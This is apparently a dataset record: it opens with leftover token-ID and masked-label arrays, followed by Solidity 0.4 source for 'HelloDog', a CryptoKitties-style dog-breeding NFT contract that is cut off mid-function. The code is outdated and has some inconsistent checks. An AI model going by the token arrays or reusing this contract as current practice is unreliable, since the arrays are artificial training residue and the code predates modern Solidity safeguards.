0,
0,
0,
0
] |
[
1,
565,
445,
10486,
13535,
2045,
287,
5147,
28590,
12,
11890,
5034,
389,
2704,
67,
8694,
13,
3903,
1338,
5541,
288,
203,
3639,
309,
261,
12910,
2045,
287,
5147,
28590,
422,
629,
13,
288,
203,
5411,
17781,
5147,
273,
389,
2704,
67,
8694,
31,
203,
5411,
17781,
5147,
273,
374,
31,
203,
3639,
289,
203,
3639,
4508,
2045,
287,
5147,
28590,
273,
401,
12910,
2045,
287,
5147,
28590,
31,
203,
203,
3639,
3626,
17596,
2045,
287,
5147,
56,
23972,
1259,
12,
12910,
2045,
287,
5147,
28590,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
// // Auction wrapper functions
// Auction wrapper functions
/// @title SEKRETOOOO
contract GeneScienceInterface {
/// @dev simply a boolean to indicate this is the contract we expect to be
function isGeneScience() public pure returns (bool);
/// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor
/// @param genes1 genes of mom
/// @param genes2 genes of sire
/// @return the genes that are supposed to be passed down the child
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
}
contract VariationInterface {
function isVariation() public pure returns(bool);
function createVariation(uint256 _gene, uint256 _totalSupply) public returns (uint8);
function registerVariation(uint256 _dogId, address _owner) public;
}
contract LotteryInterface {
function isLottery() public pure returns (bool);
function checkLottery(uint256 genes) public pure returns (uint8 lotclass);
function registerLottery(uint256 _dogId) public payable returns (uint8);
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
);
}
/// @title A facet of KittyCore that manages special access privileges.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged.
contract DogAccessControl {
// This facet controls access control for Cryptodogs. There are four roles managed here:
//
// - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart
// contracts. It is also the only role that can unpause the smart contract. It is initially
// set to the address that created the smart contract in the KittyCore constructor.
//
// - The CFO: The CFO can withdraw funds from KittyCore and its auction contracts.
//
// - The COO: The COO can release gen0 dogs to auction, and mint promo cats.
//
// It should be noted that these roles are distinct without overlap in their access abilities, the
// abilities listed for each role above are exhaustive. In particular, while the CEO can assign any
// address to any role, the CEO address itself doesn't have the ability to act in those roles. This
// restriction is intentional so that we aren't tempted to use the CEO address frequently out of
// convenience. The less we use an address, the less likely it is that we somehow compromise the
// account.
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/*** Pausable functionality adapted from OpenZeppelin ***/
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
/// @title Base contract for Cryptodogs. Holds all common structs, events and base variables.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged.
contract DogBase is DogAccessControl {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new kitten comes into existence. This obviously
/// includes any time a cat is created through the giveBirth method, but it is also called
/// when a new gen0 cat is created.
event Birth(address owner, uint256 dogId, uint256 matronId, uint256 sireId, uint256 genes, uint16 generation, uint8 variation, uint256 gen0, uint256 birthTime, uint256 income, uint16 cooldownIndex);
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time a kitten
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** DATA TYPES ***/
/// @dev The main Dog struct. Every cat in Cryptodogs is represented by a copy
/// of this structure, so great care was taken to ensure that it fits neatly into
/// exactly two 256-bit words. Note that the order of the members in this structure
/// is important because of the byte-packing rules used by Ethereum.
/// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html
struct Dog {
// The Dog's genetic code is packed into these 256-bits, the format is
// sooper-sekret! A cat's genes never change.
uint256 genes;
// The timestamp from the block when this cat came into existence.
uint256 birthTime;
// The minimum timestamp after which this cat can engage in breeding
// activities again. This same timestamp is used for the pregnancy
// timer (for matrons) as well as the siring cooldown.
uint64 cooldownEndBlock;
// The ID of the parents of this Dog, set to 0 for gen0 cats.
// Note that using 32-bit unsigned integers limits us to a "mere"
// 4 billion cats. This number might seem small until you realize
// that Ethereum currently has a limit of about 500 million
// transactions per year! So, this definitely won't be a problem
// for several years (even as Ethereum learns to scale).
uint32 matronId;
uint32 sireId;
// Set to the ID of the sire cat for matrons that are pregnant,
// zero otherwise. A non-zero value here is how we know a cat
// is pregnant. Used to retrieve the genetic material for the new
// kitten when the birth transpires.
uint32 siringWithId;
// Set to the index in the cooldown array (see below) that represents
// the current cooldown duration for this Dog. This starts at zero
// for gen0 cats, and is initialized to floor(generation/2) for others.
// Incremented by one for each successful breeding action, regardless
// of whether this cat is acting as matron or sire.
uint16 cooldownIndex;
// The "generation number" of this cat. Cats minted by the CK contract
// for sale are called "gen0" and have a generation number of 0. The
// generation number of all other cats is the larger of the two generation
// numbers of their parents, plus one.
// (i.e. max(matron.generation, sire.generation) + 1)
uint16 generation;
//zhangyong
//变异系数
uint8 variation;
//zhangyong
//0代狗祖先
uint256 gen0;
}
/*** CONSTANTS ***/
/// @dev A lookup table indicating the cooldown duration after any successful
/// breeding action, called "pregnancy time" for matrons and "siring cooldown"
/// for sires. Designed such that the cooldown roughly doubles each time a cat
/// is bred, encouraging owners not to just keep breeding the same cat over
/// and over again. Caps out at one week (a cat can breed an unbounded number
/// of times, and the maximum cooldown is always seven days).
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(24 hours),
uint32(2 days),
uint32(3 days),
uint32(5 days)
];
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
/// @dev An array containing the Dog struct for all dogs in existence. The ID
/// of each cat is actually an index into this array. Note that ID 0 is a negacat,
/// the unKitty, the mythical beast that is the parent of all gen0 cats. A bizarre
/// creature that is both matron and sire... to itself! Has an invalid genetic code.
/// In other words, cat ID 0 is invalid... ;-)
Dog[] dogs;
/// @dev A mapping from cat IDs to the address that owns them. All cats have
/// some valid owner address, even gen0 cats are created with a non-zero owner.
mapping (uint256 => address) dogIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
/// @dev A mapping from KittyIDs to an address that has been approved to call
/// transferFrom(). Each Dog can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public dogIndexToApproved;
/// @dev A mapping from KittyIDs to an address that has been approved to use
/// this Dog for siring via breedWith(). Each Dog can only have one approved
/// address for siring at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public sireAllowedToAddress;
/// @dev The address of the ClockAuction contract that handles sales of dogs. This
/// same contract handles both peer-to-peer sales as well as the gen0 sales which are
/// initiated every 15 minutes.
SaleClockAuction public saleAuction;
/// @dev The address of a custom ClockAuction subclassed contract that handles siring
/// auctions. Needs to be separate from saleAuction because the actions taken on success
/// after a sales and siring auction are quite different.
SiringClockAuction public siringAuction;
uint256 public autoBirthFee = 5000 szabo;
//zhangyong
//0代狗获取的繁殖收益
uint256 public gen0Profit = 500 szabo;
//zhangyong
//0代狗获取繁殖收益的系数,可以动态调整,取值范围0到100
function setGen0Profit(uint256 _value) public onlyCOO{
uint256 ration = _value * 100 / autoBirthFee;
require(ration > 0);
require(_value <= 100);
gen0Profit = _value;
}
/// @dev Assigns ownership of a specific Dog to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Since the number of kittens is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
dogIndexToOwner[_tokenId] = _to;
// When creating new kittens _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// once the kitten is transferred also clear sire allowances
delete sireAllowedToAddress[_tokenId];
// clear any previously approved ownership exchange
delete dogIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
/// @dev An internal method that creates a new Dog and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Birth event
/// and a Transfer event.
/// @param _matronId The Dog ID of the matron of this cat (zero for gen0)
/// @param _sireId The Dog ID of the sire of this cat (zero for gen0)
/// @param _generation The generation number of this cat, must be computed by caller.
/// @param _genes The Dog's genetic code.
/// @param _owner The inital owner of this cat, must be non-zero (except for the unKitty, ID 0)
//zhangyong
//增加变异系数与0代狗祖先作为参数
function _createDog(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner,
uint8 _variation,
uint256 _gen0,
bool _isGen0Siring
)
internal
returns (uint)
{
// These requires are not strictly necessary, our calling code should make
// sure that these conditions are never broken. However! _createDog() is already
// an expensive call (for storage), and it doesn't hurt to be especially careful
// to ensure our data structures are always valid.
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
// New Dog starts with the same cooldown as parent gen/2
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
Dog memory _dog = Dog({
genes: _genes,
birthTime: block.number,
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation),
variation : uint8(_variation),
gen0 : _gen0
});
uint256 newDogId = dogs.push(_dog) - 1;
// It's probably never going to happen, 4 billion cats is A LOT, but
// let's just be 100% sure we never let this happen.
// require(newDogId == uint256(uint32(newDogId)));
require(newDogId < 23887872);
// emit the birth event
Birth(
_owner,
newDogId,
uint256(_dog.matronId),
uint256(_dog.sireId),
_dog.genes,
uint16(_generation),
_variation,
_gen0,
block.number,
_isGen0Siring ? 0 : gen0Profit,
cooldownIndex
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newDogId);
return newDogId;
}
// Any C-level can fix how many seconds per blocks are currently observed.
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
/// @title The external contract that is responsible for generating metadata for the dogs,
/// it has one function that will return the data as bytes.
// contract ERC721Metadata {
// /// @dev Given a token Id, returns a byte array that is supposed to be converted into string.
// function getMetadata(uint256 _tokenId, string) public view returns (bytes32[4] buffer, uint256 count) {
// if (_tokenId == 1) {
// buffer[0] = "Hello World! :D";
// count = 15;
// } else if (_tokenId == 2) {
// buffer[0] = "I would definitely choose a medi";
// buffer[1] = "um length string.";
// count = 49;
// } else if (_tokenId == 3) {
// buffer[0] = "Lorem ipsum dolor sit amet, mi e";
// buffer[1] = "st accumsan dapibus augue lorem,";
// buffer[2] = " tristique vestibulum id, libero";
// buffer[3] = " suscipit varius sapien aliquam.";
// count = 128;
// }
// }
// }
/// @title The facet of the Cryptodogs core contract that manages ownership, ERC-721 (draft) compliant.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev Ref: https://github.com/ethereum/EIPs/issues/721
/// See the KittyCore contract documentation to understand how the various contract facets are arranged.
contract DogOwnership is DogBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "HelloDog";
string public constant symbol = "HD";
// The contract that will return Dog metadata
// ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)"));
// bytes4(keccak256("tokensOfOwner(address)")) ^
// bytes4(keccak256("tokenMetadata(uint256,string)"));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev Set the address of the sibling contract that tracks metadata.
/// CEO only.
// function setMetadataAddress(address _contractAddress) public onlyCEO {
// erc721Metadata = ERC721Metadata(_contractAddress);
// }
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Checks if a given address is the current owner of a particular Dog.
/// @param _claimant the address we are validating against.
/// @param _tokenId kitten id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return dogIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular Dog.
/// @param _claimant the address we are confirming kitten is approved for.
/// @param _tokenId kitten id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return dogIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting dogs on auction, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(uint256 _tokenId, address _approved) internal {
dogIndexToApproved[_tokenId] = _approved;
}
/// @notice Returns the number of dogs owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a Dog to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// Cryptodogs specifically) or your Dog may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the Dog to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any dogs (except very briefly
// after a gen0 cat is created and before it goes on auction).
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Auction contracts should only take ownership of dogs
// through the allow + transferFrom flow.
require(_to != address(saleAuction));
require(_to != address(siringAuction));
// You can only send your own cat.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific Dog via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Dog that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a Dog owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the Dog to be transfered.
/// @param _to The address that should take ownership of the Dog. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the Dog to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any dogs (except very briefly
// after a gen0 cat is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of dogs currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return dogs.length - 1;
}
/// @notice Returns the address currently assigned ownership of a given Dog.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = dogIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @notice Returns a list of all Dog IDs assigned to an address.
/// @param _owner The owner whose dogs we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Dog array looking for cats belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
// function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
// uint256 tokenCount = balanceOf(_owner);
// if (tokenCount == 0) {
// // Return an empty array
// return new uint256[](0);
// } else {
// uint256[] memory result = new uint256[](tokenCount);
// uint256 totalCats = totalSupply();
// uint256 resultIndex = 0;
// // We count on the fact that all cats have IDs starting at 1 and increasing
// // sequentially up to the totalCat count.
// uint256 catId;
// for (catId = 1; catId <= totalCats; catId++) {
// if (dogIndexToOwner[catId] == _owner) {
// result[resultIndex] = catId;
// resultIndex++;
// }
// }
// return result;
// }
// }
/// @dev Adapted from memcpy() by @arachnid (Nick Johnson <[email protected]>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
// function _memcpy(uint _dest, uint _src, uint _len) private view {
// // Copy word-length chunks while possible
// for(; _len >= 32; _len -= 32) {
// assembly {
// mstore(_dest, mload(_src))
// }
// _dest += 32;
// _src += 32;
// }
// // Copy remaining bytes
// uint256 mask = 256 ** (32 - _len) - 1;
// assembly {
// let srcpart := and(mload(_src), not(mask))
// let destpart := and(mload(_dest), mask)
// mstore(_dest, or(destpart, srcpart))
// }
// }
/// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <[email protected]>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
// function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
// var outputString = new string(_stringLength);
// uint256 outputPtr;
// uint256 bytesPtr;
// assembly {
// outputPtr := add(outputString, 32)
// bytesPtr := _rawBytes
// }
// _memcpy(outputPtr, bytesPtr, _stringLength);
// return outputString;
// }
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the Dog whose metadata should be returned.
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
// require(erc721Metadata != address(0));
// bytes32[4] memory buffer;
// uint256 count;
// (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
// return _toString(buffer, count);
// }
}
/// @title A facet of KittyCore that manages Dog siring, gestation, and birth.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged.
contract DogBreeding is DogOwnership {
/// @dev The Pregnant event is fired when two cats successfully breed and the pregnancy
/// timer begins for the matron.
event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 matronCooldownEndBlock, uint256 sireCooldownEndBlock, uint256 matronCooldownIndex, uint256 sireCooldownIndex);
/// @notice The minimum payment required to use breedWithAuto(). This fee goes towards
/// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by
/// the COO role as the gas price changes.
// uint256 public autoBirthFee = 2 finney;
// Keeps track of number of pregnant dogs.
uint256 public pregnantDogs;
/// @dev The address of the sibling contract that is used to implement the sooper-sekret
/// genetic combination algorithm.
GeneScienceInterface public geneScience;
VariationInterface public variation;
LotteryInterface public lottery;
/// @dev Update the address of the genetic contract, can only be called by the CEO.
/// @param _address An address of a GeneScience contract instance to be used from this point forward.
function setGeneScienceAddress(address _address) external onlyCEO {
GeneScienceInterface candidateContract = GeneScienceInterface(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isGeneScience());
// Set the new contract address
geneScience = candidateContract;
}
/// @dev Checks that a given kitten is able to breed. Requires that the
/// current cooldown is finished (for sires) and also checks that there is
/// no pending pregnancy.
function _isReadyToBreed(Dog _dog) internal view returns (bool) {
// In addition to checking the cooldownEndBlock, we also need to check to see if
// the cat has a pending birth; there can be some period of time between the end
// of the pregnacy timer and the birth event.
return (_dog.siringWithId == 0) && (_dog.cooldownEndBlock <= uint64(block.number));
}
/// @dev Check if a sire has authorized breeding with this matron. True if both sire
/// and matron have the same owner, or if the sire has given siring permission to
/// the matron's owner (via approveSiring()).
function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) {
address matronOwner = dogIndexToOwner[_matronId];
address sireOwner = dogIndexToOwner[_sireId];
// Siring is okay if they have same owner, or if the matron's owner was given
// permission to breed with this sire.
return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner);
}
/// @dev Set the cooldownEndTime for the given Dog, based on its current cooldownIndex.
/// Also increments the cooldownIndex (unless it has hit the cap).
/// @param _dog A reference to the Dog in storage which needs its timer started.
function _triggerCooldown(Dog storage _dog) internal {
// Compute an estimation of the cooldown time in blocks (based on current cooldownIndex).
_dog.cooldownEndBlock = uint64((cooldowns[_dog.cooldownIndex]/secondsPerBlock) + block.number);
// Increment the breeding count, clamping it at 13, which is the length of the
// cooldowns array. We could check the array size dynamically, but hard-coding
// this as a constant saves gas. Yay, Solidity!
if (_dog.cooldownIndex < 13) {
_dog.cooldownIndex += 1;
}
}
/// @notice Grants approval to another user to sire with one of your dogs.
/// @param _addr The address that will be able to sire with your Dog. Set to
/// address(0) to clear all siring approvals for this Dog.
/// @param _sireId A Dog that you own that _addr will now be able to sire with.
function approveSiring(address _addr, uint256 _sireId)
external
whenNotPaused
{
require(_owns(msg.sender, _sireId));
sireAllowedToAddress[_sireId] = _addr;
}
/// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only
/// be called by the COO address. (This fee is used to offset the gas cost incurred
/// by the autobirth daemon).
function setAutoBirthFee(uint256 val) external onlyCOO {
require(val > 0);
autoBirthFee = val;
}
/// @dev Checks to see if a given Dog is pregnant and (if so) if the gestation
/// period has passed.
function _isReadyToGiveBirth(Dog _matron) private view returns (bool) {
return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number));
}
/// @notice Checks that a given kitten is able to breed (i.e. it is not pregnant or
/// in the middle of a siring cooldown).
/// @param _dogId reference the id of the kitten, any user can inquire about it
function isReadyToBreed(uint256 _dogId)
public
view
returns (bool)
{
//zhangyong
//创世狗有两只
require(_dogId > 1);
Dog storage dog = dogs[_dogId];
return _isReadyToBreed(dog);
}
/// @dev Checks whether a Dog is currently pregnant.
/// @param _dogId reference the id of the kitten, any user can inquire about it
function isPregnant(uint256 _dogId)
public
view
returns (bool)
{
// A Dog is pregnant if and only if this field is set
return dogs[_dogId].siringWithId != 0;
}
/// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT
/// check ownership permissions (that is up to the caller).
/// @param _matron A reference to the Dog struct of the potential matron.
/// @param _matronId The matron's ID.
/// @param _sire A reference to the Dog struct of the potential sire.
/// @param _sireId The sire's ID
function _isValidMatingPair(
Dog storage _matron,
uint256 _matronId,
Dog storage _sire,
uint256 _sireId
)
private
view
returns(bool)
{
// A Dog can't breed with itself!
if (_matronId == _sireId) {
return false;
}
// dogs can't breed with their parents.
if (_matron.matronId == _sireId || _matron.sireId == _sireId) {
return false;
}
if (_sire.matronId == _matronId || _sire.sireId == _matronId) {
return false;
}
// We can short circuit the sibling check (below) if either cat is
// gen zero (has a matron ID of zero).
if (_sire.matronId == 0 || _matron.matronId == 0) {
return true;
}
// dogs can't breed with full or half siblings.
if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) {
return false;
}
if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) {
return false;
}
// Everything seems cool! Let's get DTF.
return true;
}
/// @dev Internal check to see if a given sire and matron are a valid mating pair for
/// breeding via auction (i.e. skips ownership and siring approval checks).
function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId)
internal
view
returns (bool)
{
Dog storage matron = dogs[_matronId];
Dog storage sire = dogs[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId);
}
// @notice Checks to see if two cats can breed together, including checks for
// ownership and siring approvals. Does NOT check that both cats are ready for
// breeding (i.e. breedWith could still fail until the cooldowns are finished).
// TODO: Shouldn't this check pregnancy and cooldowns?!?
// @param _matronId The ID of the proposed matron.
// @param _sireId The ID of the proposed sire.
// function canBreedWith(uint256 _matronId, uint256 _sireId)
// external
// view
// returns(bool)
// {
// require(_matronId > 1);
// require(_sireId > 1);
// Dog storage matron = dogs[_matronId];
// Dog storage sire = dogs[_sireId];
// return _isValidMatingPair(matron, _matronId, sire, _sireId) &&
